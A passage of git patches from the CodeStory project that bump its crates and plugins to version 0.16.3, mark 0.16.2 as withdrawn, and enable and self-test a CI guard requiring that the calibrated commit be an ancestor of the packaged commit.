28 Jul 2026 18:19:16 -0500 Subject: [PATCH 064/132] cut 0.16.3 and record 0.16.2 as withdrawn Closes #1586. The v0.16.2 tag survives the deleted release, and preflight refuses any run against an existing tag -- proof-only included -- so 0.16.2 cannot be exercised at all. Skipping the number costs less than deleting a tag others may hold. embedding_revision stays at 0.16.1: the WP10b split means a version bump no longer re-keys the embedding identity, so nobody re-embeds for this. The changelog entries move to 0.16.3 and 0.16.2 is marked withdrawn. It was live about forty minutes, the catalog never pointed at it, and no install path served it, so leaving the work credited there while 0.16.3 shipped empty notes would misstate both. Co-Authored-By: Claude Opus 5 --- CHANGELOG.md | 8 +++++++- Cargo.lock | 18 +++++++++--------- crates/codestory-bench/Cargo.toml | 2 +- crates/codestory-cli/Cargo.toml | 2 +- crates/codestory-contracts/Cargo.toml | 2 +- crates/codestory-indexer/Cargo.toml | 2 +- crates/codestory-llama-sys/Cargo.toml | 2 +- crates/codestory-llama-sys/model-contract.json | 2 +- crates/codestory-retrieval/Cargo.toml | 2 +- crates/codestory-runtime/Cargo.toml | 2 +- crates/codestory-store/Cargo.toml | 2 +- crates/codestory-workspace/Cargo.toml | 2 +- plugins/codestory/.claude-plugin/plugin.json | 2 +- plugins/codestory/.codex-plugin/plugin.json | 2 +- plugins/codestory/.github/plugin/plugin.json | 2 +- plugins/codestory/cli-version.json | 4 ++-- 16 files changed, 31 insertions(+), 25 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index e55dbd4b2..65e629542 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,7 +2,7 @@ ## Unreleased -## 0.16.2 +## 0.16.3 ### Fixed @@ -49,6 +49,12 @@ - Windows and Linux start faster, and commands run at the same time no longer queue behind one another. +## 0.16.2 + +Withdrawn before distribution. The GitHub release was created and removed the same day, the +marketplace catalog was never pointed at it, and no install path ever served it. Everything it +contained ships in 0.16.3 above. + ## 0.16.1 Fixes first use on a slow or unreliable connection. diff --git a/Cargo.lock b/Cargo.lock index 6578c9de9..83f09c1d2 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -488,7 +488,7 @@ dependencies = [ [[package]] name = "codestory-bench" -version = "0.16.2" +version = "0.16.3" dependencies = [ "anyhow", "clap", @@ -510,7 +510,7 @@ dependencies = [ [[package]] name = "codestory-cli" -version = "0.16.2" +version = "0.16.3" dependencies = [ "anyhow", "clap", @@ -539,7 +539,7 @@ dependencies = [ [[package]] name = "codestory-contracts" -version = "0.16.2" +version = "0.16.3" dependencies = [ "anyhow", "crossbeam-channel", @@ -554,7 +554,7 @@ dependencies = [ [[package]] name = "codestory-indexer" -version = "0.16.2" +version = "0.16.3" dependencies = [ "anyhow", "codestory-contracts", @@ -596,7 +596,7 @@ dependencies = [ [[package]] name = "codestory-llama-sys" -version = "0.16.2" +version = "0.16.3" dependencies = [ "crossbeam-channel", "fs4", @@ -611,7 +611,7 @@ dependencies = [ [[package]] name = "codestory-retrieval" -version = "0.16.2" +version = "0.16.3" dependencies = [ "anyhow", "chrono", @@ -635,7 +635,7 @@ dependencies = [ [[package]] name = "codestory-runtime" -version = "0.16.2" +version = "0.16.3" dependencies = [ "anyhow", "codestory-contracts", @@ -661,7 +661,7 @@ dependencies = [ [[package]] name = "codestory-store" -version = "0.16.2" +version = "0.16.3" dependencies = [ "anyhow", "codestory-contracts", @@ -678,7 +678,7 @@ dependencies = [ [[package]] name = "codestory-workspace" -version = "0.16.2" +version = "0.16.3" dependencies = [ "anyhow", "codestory-contracts", diff --git a/crates/codestory-bench/Cargo.toml b/crates/codestory-bench/Cargo.toml index 71e724dfa..18bf96850 100644 --- a/crates/codestory-bench/Cargo.toml +++ b/crates/codestory-bench/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "codestory-bench" -version = "0.16.2" +version = "0.16.3" edition = "2024" publish = false diff --git a/crates/codestory-cli/Cargo.toml b/crates/codestory-cli/Cargo.toml index 3f011c62a..45df356ac 100644 --- a/crates/codestory-cli/Cargo.toml +++ b/crates/codestory-cli/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "codestory-cli" -version = "0.16.2" +version = "0.16.3" edition = "2024" description = "Local repository evidence and grounding CLI for source-backed coding workflows." license = "Apache-2.0" diff --git a/crates/codestory-contracts/Cargo.toml b/crates/codestory-contracts/Cargo.toml index 35bd62a55..082050554 100644 --- a/crates/codestory-contracts/Cargo.toml +++ b/crates/codestory-contracts/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "codestory-contracts" -version = "0.16.2" +version = "0.16.3" edition = "2024" [dependencies] diff --git a/crates/codestory-indexer/Cargo.toml b/crates/codestory-indexer/Cargo.toml index 74d30ec17..34640262e 100644 --- a/crates/codestory-indexer/Cargo.toml +++ b/crates/codestory-indexer/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "codestory-indexer" -version = "0.16.2" +version = "0.16.3" edition = "2024" [dev-dependencies] diff --git a/crates/codestory-llama-sys/Cargo.toml b/crates/codestory-llama-sys/Cargo.toml index 5d31aa7b1..d293a2113 100644 --- a/crates/codestory-llama-sys/Cargo.toml +++ b/crates/codestory-llama-sys/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "codestory-llama-sys" -version = "0.16.2" +version = "0.16.3" edition = "2024" build = "build.rs" diff --git a/crates/codestory-llama-sys/model-contract.json b/crates/codestory-llama-sys/model-contract.json index 981220f64..6dbfb4519 100644 --- a/crates/codestory-llama-sys/model-contract.json +++ b/crates/codestory-llama-sys/model-contract.json @@ -37,7 +37,7 @@ "producer": { "name": "codestory-llama-sys", "embedding_revision": "0.16.1", - "version": "0.16.2" + "version": "0.16.3" }, "license": { "spdx_id": "MIT", diff --git a/crates/codestory-retrieval/Cargo.toml b/crates/codestory-retrieval/Cargo.toml index 5308c4147..264a6eba9 100644 --- a/crates/codestory-retrieval/Cargo.toml +++ b/crates/codestory-retrieval/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "codestory-retrieval" -version = "0.16.2" +version = "0.16.3" edition = "2024" [features] diff --git a/crates/codestory-runtime/Cargo.toml b/crates/codestory-runtime/Cargo.toml index 4738a79e0..b20ace583 100644 --- a/crates/codestory-runtime/Cargo.toml +++ b/crates/codestory-runtime/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "codestory-runtime" -version = "0.16.2" +version = "0.16.3" edition = "2024" [features] diff --git a/crates/codestory-store/Cargo.toml b/crates/codestory-store/Cargo.toml index becb82ea9..c54258c8a 100644 --- a/crates/codestory-store/Cargo.toml +++ b/crates/codestory-store/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "codestory-store" -version = "0.16.2" +version = "0.16.3" edition = "2024" [dependencies] diff --git a/crates/codestory-workspace/Cargo.toml b/crates/codestory-workspace/Cargo.toml index 8a923d964..d74ed83a8 100644 --- a/crates/codestory-workspace/Cargo.toml +++ b/crates/codestory-workspace/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "codestory-workspace" -version = "0.16.2" +version = "0.16.3" edition = "2024" [dependencies] diff --git a/plugins/codestory/.claude-plugin/plugin.json b/plugins/codestory/.claude-plugin/plugin.json index f902d66bb..df26fc01c 100644 --- a/plugins/codestory/.claude-plugin/plugin.json +++ b/plugins/codestory/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "codestory", - "version": "0.16.2", + "version": "0.16.3", "description": "CodeStory grounding for coding agents over the local codestory-cli runtime.", "author": { "name": "The Green Cedar", diff --git a/plugins/codestory/.codex-plugin/plugin.json b/plugins/codestory/.codex-plugin/plugin.json index 238163c19..1fafb9b5d 100644 --- a/plugins/codestory/.codex-plugin/plugin.json +++ b/plugins/codestory/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "codestory", - "version": "0.16.2", + "version": "0.16.3", "description": "CodeStory grounding for Codex over the local codestory-cli stdio server.", "author": { "name": "The Green Cedar", diff --git a/plugins/codestory/.github/plugin/plugin.json b/plugins/codestory/.github/plugin/plugin.json index 63357fe2c..1841e48e5 100644 --- a/plugins/codestory/.github/plugin/plugin.json +++ b/plugins/codestory/.github/plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "codestory", "description": "CodeStory grounding for coding agents over the local codestory-cli runtime.", - "version": "0.16.2", + "version": "0.16.3", "author": { "name": "The Green Cedar", "url": "https://github.com/TheGreenCedar" diff --git a/plugins/codestory/cli-version.json b/plugins/codestory/cli-version.json index 15fa4790e..b19059da7 100644 --- a/plugins/codestory/cli-version.json +++ b/plugins/codestory/cli-version.json @@ -1,5 +1,5 @@ { "schema_version": 1, - "cli_version": "0.16.2", - "release_tag": "v0.16.2" + "cli_version": "0.16.3", + "release_tag": "v0.16.3" } From b080827e813643cc7883104029839a6d005681af Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 18:23:50 -0500 Subject: [PATCH 065/132] enable the calibration freeze lineage guard Co-Authored-By: Claude Opus 5 --- .github/scripts/check-workflow-policy.mjs | 26 ++ .../scripts/check-workflow-policy.test.mjs | 26 ++ .../calibration_lineage.py | 55 +++- .../scripts/packaged_agent_proof/self_test.py | 2 + .../self_test_calibration_lineage.py | 265 ++++++++++++++++++ .../self_test_full_stack_calibration.py | 19 ++ .github/workflows/packaged-platform-proof.yml | 1 + AGENTS.md | 11 + docs/contributors/testing-matrix.md | 8 + ...per-user-embedding-server-qualification.md | 22 +- 10 files changed, 427 insertions(+), 8 deletions(-) create mode 100644 .github/scripts/packaged_agent_proof/self_test_calibration_lineage.py diff --git a/.github/scripts/check-workflow-policy.mjs b/.github/scripts/check-workflow-policy.mjs index c8aaaf937..09348b28f 100644 --- a/.github/scripts/check-workflow-policy.mjs +++ b/.github/scripts/check-workflow-policy.mjs @@ -2759,6 +2759,7 @@ function validatePackagedProof(workflows, violations, graph) { '--calibration-bundle "$calibration_bundle"', "--calibration-producer-run-id", "--calibration-producer-artifact", + "--enforce-calibration-freeze-lineage", 'test -f "$quality_path"', "--engine-policy cpu_explicit", "--expected-backend CPU", @@ -2776,6 +2777,31 @@ function validatePackagedProof(workflows, violations, graph) { job, "Packaged per-user server calibration or qualification", ); + // The calibration-to-package source-lineage guard exists only when this flag + // reaches the frozen invocation. Without it the packaged release can ship a + // constant set measured on a materially different tree, so pin the flag to + // the hosted_package call rather than anywhere in the step, and keep the + // build checkout deep enough for the ancestor and diff probes it performs. + const packagedProofExecutable = executableRunText(packagedProofRun); + const frozenInvocationIndex = packagedProofExecutable + .indexOf("--proof-tier hosted_package"); + add( + violations, + frozenInvocationIndex >= 0 + && occurrenceCount( + packagedProofExecutable, + "--enforce-calibration-freeze-lineage", + ) === 1 + && packagedProofExecutable + .slice(frozenInvocationIndex) + .includes("--enforce-calibration-freeze-lineage"), + `${file} frozen packaged qualification must pass --enforce-calibration-freeze-lineage so the calibration-to-package source lineage is proved, not assumed`, + ); + add( + violations, + object(namedStep(job, "Checkout")?.with)["fetch-depth"] === 0, + `${file} package build must keep full history for the calibration freeze lineage probe`, + ); const hostedCalibrationUpload = namedStep(job, "Upload hosted Linux calibration runs"); add( violations, diff --git a/.github/scripts/check-workflow-policy.test.mjs b/.github/scripts/check-workflow-policy.test.mjs index de2d56473..cf7bff56f 100644 --- a/.github/scripts/check-workflow-policy.test.mjs +++ b/.github/scripts/check-workflow-policy.test.mjs @@ -734,6 +734,32 @@ test("exact proof policy rejects trigger and identity downgrades", async (t) => ); step.if = "matrix.asset_target == 'linux-x64'"; }, /packaged-platform-proof\.yml/u], + ["frozen qualification stops enforcing the calibration freeze lineage", packagedProofFile, workflow => { + const step = draftStep( + workflow.jobs.build, + "Packaged per-user server calibration or qualification", + ); + const removed = step.run.replace(" --enforce-calibration-freeze-lineage \\\n", ""); + assert.notEqual(removed, step.run, "freeze lineage flag was already absent"); + step.run = removed; + }, /must pass --enforce-calibration-freeze-lineage so the calibration-to-package source lineage is proved, not assumed/u], + ["freeze lineage enforcement moves onto the unfrozen calibration invocation", packagedProofFile, workflow => { + const step = draftStep( + workflow.jobs.build, + "Packaged per-user server calibration or qualification", + ); + const moved = step.run + .replace(" --enforce-calibration-freeze-lineage \\\n", "") + .replace( + " --proof-tier calibration \\\n", + " --proof-tier calibration \\\n --enforce-calibration-freeze-lineage \\\n", + ); + assert.match(moved, /--proof-tier calibration \\\n\s+--enforce-calibration-freeze-lineage/u); + step.run = moved; + }, /must pass --enforce-calibration-freeze-lineage so the calibration-to-package source lineage is proved, not assumed/u], + ["package build loses the history the freeze lineage probe reads", packagedProofFile, workflow => { + draftStep(workflow.jobs.build, "Checkout").with["fetch-depth"] = 1; + }, /package build must keep full history for the calibration freeze lineage probe/u], ["package evaluation downloads calibration on the standard path", packagedProofFile, workflow => { draftStep(workflow.jobs.build, "Authenticate calibration bundle producer").if = "matrix.asset_target == 'linux-x64'"; diff --git a/.github/scripts/packaged_agent_proof/calibration_lineage.py b/.github/scripts/packaged_agent_proof/calibration_lineage.py index 960e2e958..ba711cf00 100644 --- a/.github/scripts/packaged_agent_proof/calibration_lineage.py +++ b/.github/scripts/packaged_agent_proof/calibration_lineage.py @@ -9,6 +9,24 @@ from .contract_primitives import require_nonempty_string from .foundation import require +# The single file a freeze commit is allowed to write between the tree that was +# calibrated and the tree that is packaged. +CONSTANT_SET_FREEZE_PATH = ( + "crates/codestory-llama-sys/per-user-embedding-server-constant-set.json" +) +# Enforcing the freeze lineage decides the release sequencing: because the +# freeze commit must be the only commit between calibration and the package, +# the version bump cannot follow calibration. Every failure below repeats this +# so a CI reader can act without opening this file. +REQUIRED_RELEASE_ORDERING = ( + "required release ordering is bump-then-calibrate: bump the version first " + "(node scripts/bump-version.mjs --version ), calibrate on the " + "bumped tree, then land the constant-set freeze commit as the only commit " + f"between calibration and the packaged release ({CONSTANT_SET_FREEZE_PATH} " + "is the only file it may write). A calibrate-then-bump ordering fails here: " + "move the bump ahead of calibration and recalibrate on the bumped tree" +) + def verify_calibration_source_lineage( calibration_source: dict, @@ -43,11 +61,20 @@ def git(*arguments: str) -> str: capture_output=True, timeout=30, ) + # `require`'s message argument is evaluated before the call, so the + # detail must not itself be a contract that a *successful* probe can + # violate. `git diff --name-only` legitimately prints nothing when the + # two trees are identical, and demanding non-empty output here replaced + # the actionable drift message below with "Git lineage failure must be a + # non-empty string". require( completed.returncode == 0, "calibration source-lineage probe failed: " + require_nonempty_string( - completed.stderr.strip() or completed.stdout.strip(), + completed.stderr.strip() + or completed.stdout.strip() + or f"git {' '.join(arguments)} exited {completed.returncode} " + "without output", "Git lineage failure", ), ) @@ -77,7 +104,11 @@ def git(*arguments: str) -> str: ) require( completed.returncode == 0, - "calibration source is not an ancestor of the frozen package source", + "calibration source " + f"{calibration_source['commit']} is not an ancestor of the frozen " + f"package source {frozen_source['commit']}; the packaged tree was not " + "grown from the calibrated tree, so the frozen constants were never " + f"measured on what ships. The {REQUIRED_RELEASE_ORDERING}.", ) changed_paths = [ path @@ -89,10 +120,24 @@ def git(*arguments: str) -> str: ).splitlines() if path ] + offending_paths = [ + path for path in changed_paths if path != CONSTANT_SET_FREEZE_PATH + ] require( - changed_paths - == ["crates/codestory-llama-sys/per-user-embedding-server-constant-set.json"], - "post-calibration source drift exceeded the one allowed constant-set freeze file", + changed_paths == [CONSTANT_SET_FREEZE_PATH], + "post-calibration source drift exceeded the one allowed constant-set " + "freeze file: " + + ( + "offending changed paths between calibration " + f"{calibration_source['commit']} and packaged " + f"{frozen_source['commit']}: " + ", ".join(offending_paths) + if offending_paths + else "the packaged source did not add the required " + f"{CONSTANT_SET_FREEZE_PATH} freeze commit " + f"(no path changed between calibration {calibration_source['commit']} " + f"and packaged {frozen_source['commit']})" + ) + + f". The {REQUIRED_RELEASE_ORDERING}.", ) return { "selection_commit": calibration_source["commit"], diff --git a/.github/scripts/packaged_agent_proof/self_test.py b/.github/scripts/packaged_agent_proof/self_test.py index ad9f9bfd8..5615804c9 100644 --- a/.github/scripts/packaged_agent_proof/self_test.py +++ b/.github/scripts/packaged_agent_proof/self_test.py @@ -1,5 +1,6 @@ """Owner-oriented packaged-proof self-test aggregation.""" +from .self_test_calibration_lineage import run_calibration_lineage_self_tests from .self_test_cli import run_cli_self_tests from .self_test_contracts import run_contract_self_tests from .self_test_full_stack import run_full_stack_self_tests @@ -14,6 +15,7 @@ def self_test() -> None: run_cli_self_tests() + run_calibration_lineage_self_tests() run_contract_self_tests() run_process_self_tests() run_producer_liveness_self_tests() diff --git a/.github/scripts/packaged_agent_proof/self_test_calibration_lineage.py b/.github/scripts/packaged_agent_proof/self_test_calibration_lineage.py new file mode 100644 index 000000000..c02ea4073 --- /dev/null +++ b/.github/scripts/packaged_agent_proof/self_test_calibration_lineage.py @@ -0,0 +1,265 @@ +"""Self-tests for the calibration-to-package source lineage guard. + +``verify_calibration_source_lineage`` is the strongest binding the calibration +freeze has: the calibrated commit must be an ancestor of the packaged commit and +the freeze file must be the only path that differs. Until the guard was turned +on in CI nothing exercised it -- every caller in the tree passed +``enforce_source_lineage=False`` -- so it could have been deleted, inverted, or +quietly weakened without one test objecting. These tests build real throwaway Git +histories and drive the guard directly, in both directions, including the +calibrate-then-bump ordering that the enabled guard now rejects. +""" + +from __future__ import annotations + +import json +import os +import subprocess +import tempfile +from collections.abc import Iterable +from pathlib import Path + +from .calibration_lineage import ( + CONSTANT_SET_FREEZE_PATH, + verify_calibration_source_lineage, +) +from .foundation import ProofFailure, require + +CARGO_MANIFEST_PATH = "crates/codestory-cli/Cargo.toml" +_GIT_ENVIRONMENT = { + "GIT_AUTHOR_NAME": "CodeStory Proof", + "GIT_AUTHOR_EMAIL": "proof@codestory.invalid", + "GIT_COMMITTER_NAME": "CodeStory Proof", + "GIT_COMMITTER_EMAIL": "proof@codestory.invalid", + "GIT_AUTHOR_DATE": "2026-01-01T00:00:00+00:00", + "GIT_COMMITTER_DATE": "2026-01-01T00:00:00+00:00", + # A developer's global signing or hook configuration must not decide whether + # this fixture repository can commit. + "GIT_CONFIG_GLOBAL": os.devnull, + "GIT_CONFIG_SYSTEM": os.devnull, +} + + +def _git(root: Path, *arguments: str) -> str: + completed = subprocess.run( + ["git", "-c", "commit.gpgsign=false", *arguments], + cwd=root, + text=True, + capture_output=True, + timeout=60, + env={**os.environ, **_GIT_ENVIRONMENT}, + ) + require( + completed.returncode == 0, + f"calibration lineage self-test git {' '.join(arguments)} failed: " + + (completed.stderr.strip() or completed.stdout.strip() or "no output"), + ) + return completed.stdout.strip() + + +def _write(root: Path, relative: str, text: str) -> None: + path = root / relative + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(text, encoding="utf-8") + + +def _constant_set(status: str) -> str: + return json.dumps({"status": status}, indent=2) + "\n" + + +def _cargo_manifest(version: str) -> str: + return f'[package]\nname = "codestory-cli"\nversion = "{version}"\n' + + +def _commit(root: Path, message: str, *, allow_empty: bool = False) -> dict: + _git(root, "add", "-A") + arguments = ["commit", "--no-verify", "-q", "-m", message] + if allow_empty: + arguments.insert(1, "--allow-empty") + _git(root, *arguments) + return { + "commit": _git(root, "rev-parse", "HEAD"), + "tree": _git(root, "rev-parse", "HEAD^{tree}"), + "tracked_dirty": False, + } + + +def _reject( + label: str, + fragments: Iterable[str], + calibration_source: dict, + frozen_source: dict, + root: Path, +) -> None: + try: + verify_calibration_source_lineage(calibration_source, frozen_source, root) + except ProofFailure as failure: + message = str(failure) + for fragment in fragments: + require( + fragment in message, + f"{label} rejection message omitted {fragment!r}: {message}", + ) + else: + raise ProofFailure( + f"{label} was accepted by the calibration source-lineage guard" + ) + + +def _build_calibration_history(root: Path) -> dict: + _git(root, "-c", "init.defaultBranch=main", "init", "-q") + _write(root, "README.md", "calibration lineage fixture\n") + _write(root, CARGO_MANIFEST_PATH, _cargo_manifest("0.16.1")) + _write(root, CONSTANT_SET_FREEZE_PATH, _constant_set("unfrozen")) + return _commit(root, "calibrated tree") + + +def _accepts_the_single_freeze_commit(root: Path, calibration: dict) -> dict: + _write(root, CONSTANT_SET_FREEZE_PATH, _constant_set("frozen")) + frozen = _commit(root, "freeze the constant set") + lineage = verify_calibration_source_lineage(calibration, frozen, root) + require( + lineage + == { + "selection_commit": calibration["commit"], + "frozen_commit": frozen["commit"], + "allowed_changed_paths": [CONSTANT_SET_FREEZE_PATH], + }, + "the one allowed constant-set freeze commit was not accepted intact", + ) + return frozen + + +def _rejects_identity_and_checkout_drift( + root: Path, + calibration: dict, + frozen: dict, +) -> None: + _reject( + "a dirty packaged source tree", + ["frozen package source tree was dirty"], + calibration, + {**frozen, "tracked_dirty": True}, + root, + ) + _reject( + "an inexact calibration source identity", + ["calibration source identity is not an exact Git commit and tree"], + {**calibration, "commit": "not-a-commit"}, + frozen, + root, + ) + _reject( + "a package that added no freeze commit at all", + ["frozen package did not add the required constant-set freeze commit"], + frozen, + frozen, + root, + ) + _reject( + "a packaged source the verification checkout does not hold", + ["verification checkout does not match the frozen package source"], + calibration, + {**frozen, "tree": calibration["tree"]}, + root, + ) + _reject( + "a calibration tree that its own commit does not resolve to", + ["calibration commit does not resolve to the recorded calibration tree"], + {**calibration, "tree": frozen["tree"]}, + frozen, + root, + ) + + +def _rejects_calibrate_then_bump(root: Path, calibration: dict) -> None: + """The sequencing decision the enabled guard makes for the release runbook. + + Calibrating first and bumping the version afterwards puts a second commit + between the calibrated tree and the packaged tree, so the frozen constants + were measured on a tree that is not the one shipping. The guard must reject + it, and the message must name the offending path and the required ordering + so a release operator can act from the CI log alone. + """ + _git(root, "checkout", "-q", "-b", "calibrate-then-bump", calibration["commit"]) + _write(root, CARGO_MANIFEST_PATH, _cargo_manifest("0.16.2")) + _commit(root, "bump the version after calibration") + _write(root, CONSTANT_SET_FREEZE_PATH, _constant_set("frozen")) + bumped_after_calibration = _commit(root, "freeze the constant set") + _reject( + "a version bump landing after calibration", + [ + "post-calibration source drift exceeded the one allowed constant-set " + "freeze file", + CARGO_MANIFEST_PATH, + "bump-then-calibrate", + "recalibrate on the bumped tree", + ], + calibration, + bumped_after_calibration, + root, + ) + require( + CONSTANT_SET_FREEZE_PATH + in _git( + root, + "diff", + "--name-only", + calibration["commit"], + bumped_after_calibration["commit"], + ), + "the calibrate-then-bump fixture did not also land the freeze file", + ) + + +def _rejects_missing_freeze_and_unrelated_history( + root: Path, + frozen: dict, +) -> None: + _git(root, "checkout", "-q", "main") + empty_freeze = _commit(root, "package without freezing anything", allow_empty=True) + _reject( + "a packaged commit that changed no path at all", + [ + "post-calibration source drift exceeded the one allowed constant-set " + "freeze file", + "did not add the required", + CONSTANT_SET_FREEZE_PATH, + "bump-then-calibrate", + ], + frozen, + empty_freeze, + root, + ) + _git(root, "reset", "-q", "--hard", frozen["commit"]) + _git(root, "checkout", "-q", "--orphan", "unrelated") + _write(root, "unrelated.txt", "measured somewhere else entirely\n") + unrelated = _commit(root, "calibrate on unrelated history") + _git(root, "checkout", "-q", "main") + require( + _git(root, "rev-parse", "HEAD") == frozen["commit"], + "the lineage fixture lost its frozen checkout", + ) + _reject( + "calibration measured on unrelated history", + [ + "is not an ancestor of the frozen package source", + unrelated["commit"], + frozen["commit"], + "bump-then-calibrate", + ], + unrelated, + frozen, + root, + ) + + +def run_calibration_lineage_self_tests() -> None: + with tempfile.TemporaryDirectory() as raw: + root = Path(raw) / "calibration-lineage" + root.mkdir(parents=True) + calibration = _build_calibration_history(root) + frozen = _accepts_the_single_freeze_commit(root, calibration) + _rejects_identity_and_checkout_drift(root, calibration, frozen) + _rejects_calibrate_then_bump(root, calibration) + _rejects_missing_freeze_and_unrelated_history(root, frozen) diff --git a/.github/scripts/packaged_agent_proof/self_test_full_stack_calibration.py b/.github/scripts/packaged_agent_proof/self_test_full_stack_calibration.py index c3a130ee4..92e7ea8af 100644 --- a/.github/scripts/packaged_agent_proof/self_test_full_stack_calibration.py +++ b/.github/scripts/packaged_agent_proof/self_test_full_stack_calibration.py @@ -143,6 +143,25 @@ def _calibration_bundle_tests( and calibration_result["matrix_cell_count"] == 2, "calibration bundle self-test did not verify the full matrix", ) + require( + calibration_result["source_lineage"] is None, + "an unenforced verification reported a calibration source lineage", + ) + # The flag must not be inert: with lineage enforcement on and no packaged + # source to bind, the freeze has to refuse rather than silently skip the + # guard the release workflow now depends on. + try: + verify_calibration_bundle( + calibration_bundle_path, + frozen_measurement_contract, + enforce_source_lineage=True, + ) + except ProofFailure: + pass + else: + raise ProofFailure( + "enforced calibration source lineage was skipped without a packaged source" + ) return CalibrationFixture( bundle_path=calibration_bundle_path, bundle_payload=calibration_bundle_payload, diff --git a/.github/workflows/packaged-platform-proof.yml b/.github/workflows/packaged-platform-proof.yml index 336e8ab91..e4b716d15 100644 --- a/.github/workflows/packaged-platform-proof.yml +++ b/.github/workflows/packaged-platform-proof.yml @@ -905,6 +905,7 @@ jobs: --calibration-bundle "$calibration_bundle" \ --calibration-producer-run-id "$CALIBRATION_RUN_ID" \ --calibration-producer-artifact "$CALIBRATION_ARTIFACT" \ + --enforce-calibration-freeze-lineage \ --retrieval-quality-evidence "$quality_path" \ --out-dir target/packaged-agent-proof diff --git a/AGENTS.md b/AGENTS.md index 00b066022..e266d092f 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -216,6 +216,17 @@ adapter to compensate for incorrect upstream state. - `plugins/codestory/.codex-plugin/plugin.json` - `plugins/codestory/.claude-plugin/plugin.json` - `plugins/codestory/.github/plugin/plugin.json` +- Release ordering is **bump-then-calibrate**. Bump the version first, + calibrate the per-user embedding server on the bumped tree, land the + constant-set freeze commit, then package and release. The frozen packaged + qualification enforces this: the calibration commit must be an ancestor of the + packaged commit and + `crates/codestory-llama-sys/per-user-embedding-server-constant-set.json` must + be the only file that differs between them. A calibrate-then-bump ordering + fails the guard by name; the fix is to move the bump ahead of calibration and + recalibrate on the bumped tree, never to widen the allowed path set. Any other + commit -- a doc fix, a CI tweak, a rebase -- between calibration and the + package also fails, so recalibrate rather than reorder history. - Validate release changes with `python .github/scripts/check-codestory-release.py --version ` and `node .github/scripts/check-workflow-policy.mjs`. diff --git a/docs/contributors/testing-matrix.md b/docs/contributors/testing-matrix.md index 8c4709cb6..c96bda982 100644 --- a/docs/contributors/testing-matrix.md +++ b/docs/contributors/testing-matrix.md @@ -218,6 +218,14 @@ claim. `--proof-tier calibration` may collect draft measurements, but cannot satisfy a package, hardware, installed, or release claim. A higher qualification tier requires a frozen constant set and a retained qualification record. +`--proof-tier hosted_package` also passes +`--enforce-calibration-freeze-lineage`, which requires the calibration commit to +be an ancestor of the packaged commit with +`crates/codestory-llama-sys/per-user-embedding-server-constant-set.json` as the +only differing path. Release ordering is therefore bump-then-calibrate: bump the +version, calibrate on the bumped tree, then freeze and release. A +calibrate-then-bump ordering fails the guard, which names the offending paths +and the required ordering in its failure message. `--produce-qualification-evidence` requires the separate `codestory-embedding-qualification` driver through `--qualification-driver`. The harness passes the exact packaged executable to that driver through diff --git a/docs/testing/per-user-embedding-server-qualification.md b/docs/testing/per-user-embedding-server-qualification.md index 105b3b23c..a45862fef 100644 --- a/docs/testing/per-user-embedding-server-qualification.md +++ b/docs/testing/per-user-embedding-server-qualification.md @@ -180,9 +180,25 @@ Frozen calibration bundles are accepted only from a successful `workflow_dispatch` run of `packaged-platform-pr.yml` in this repository. Every consumer binds the run ID, exact `embedding-calibration-bundle-` artifact name, unexpired artifact record, source commit, and bundle producer -identity before applying the frozen thresholds. The exact -unfrozen-to-frozen source lineage is checked once at the freeze transition; it -is not reinterpreted as a requirement for every later package proof. +identity before applying the frozen thresholds. + +The frozen `hosted_package` qualification additionally passes +`--enforce-calibration-freeze-lineage`, so the exact calibration-to-package +source lineage is proved rather than assumed: the calibration commit must be an +ancestor of the packaged commit, the verification checkout must be that packaged +commit, and +`crates/codestory-llama-sys/per-user-embedding-server-constant-set.json` must be +the only path that differs between them. The packaged proof therefore checks out +full history. + +That rule fixes the release ordering to **bump-then-calibrate**: bump the +version first with `node scripts/bump-version.mjs --version `, +calibrate on the bumped tree, then land the constant-set freeze commit as the +only commit between calibration and the packaged release. Calibrating first and +bumping afterwards puts a second commit in that range, and the guard rejects it +by name -- the failure lists the offending paths and repeats this ordering. The +fix is always to move the bump ahead of calibration and recalibrate on the +bumped tree, never to widen the allowed path set. Platform proof boundaries: From 6659f4eb4af78acc3aca969d519dbeff69c46442 Mon Sep 17 00:00:00 2001 From: Albert Najjar Date: Tue, 28 Jul 2026 18:24:00 -0500 Subject: [PATCH 066/132] let each reuse binding declare what it equates release-claims.json declared two reuse bindings and the pre-publish closeout honoured one. A native_fingerprint row was anchored to its earlier run, its commit was read at the release commit, and then evaluateReleaseClaims refused it on identity.source_tree -- the one identity that binding exists because the two commits differ in. Selecting accelerator reuse in preflight therefore produced a producer map the closeout could only reject, all three accelerator cells with it. The graph now states, per binding, which identity keys that binding may equate, and why: native_fingerprint equates source_tree (an equal version-normalized fingerprint means every input determining the native binary is identical, so accelerator execution evidence carries across a tree differing only in code the accelerator never runs); source_tree equates nothing, because there the trees are identical and nothing is being substituted. No group exception, and no narrowing of accelerator_execution.required_identity, which would have dropped the tree check for fresh evidence too. Three refusals stand between a declaration and a substitution. The key must be one the binding's construction determines (REUSE_BINDING_EQUATABLE_IDENTITY, next to the proofs, is the ceiling a graph edit cannot raise); it must be part of the release identity binding, so the closeout holds an authoritative value for both ends; and the graph must justify it in prose. Equating is not dropping: the closeout re-derives the reused commit's own value for each equated key from its own checkout, and a row not carrying that value is read as written and fails. Ancestry moves out of the tree binding and applies to every binding, since it is a property of reuse rather than of one proof: content equality alone would admit a fork's run wearing this release's clothes. Replaces the test that pinned native-fingerprint reuse as a permanent refusal -- that refusal was a missing declaration, not a trust decision -- with the accept path plus each reject direction: undeclared binding, fingerprint mismatch, recorded value drift, non-ancestor, expired artifact, container digest mismatch, a tree that is not the reused commit's, and the keys 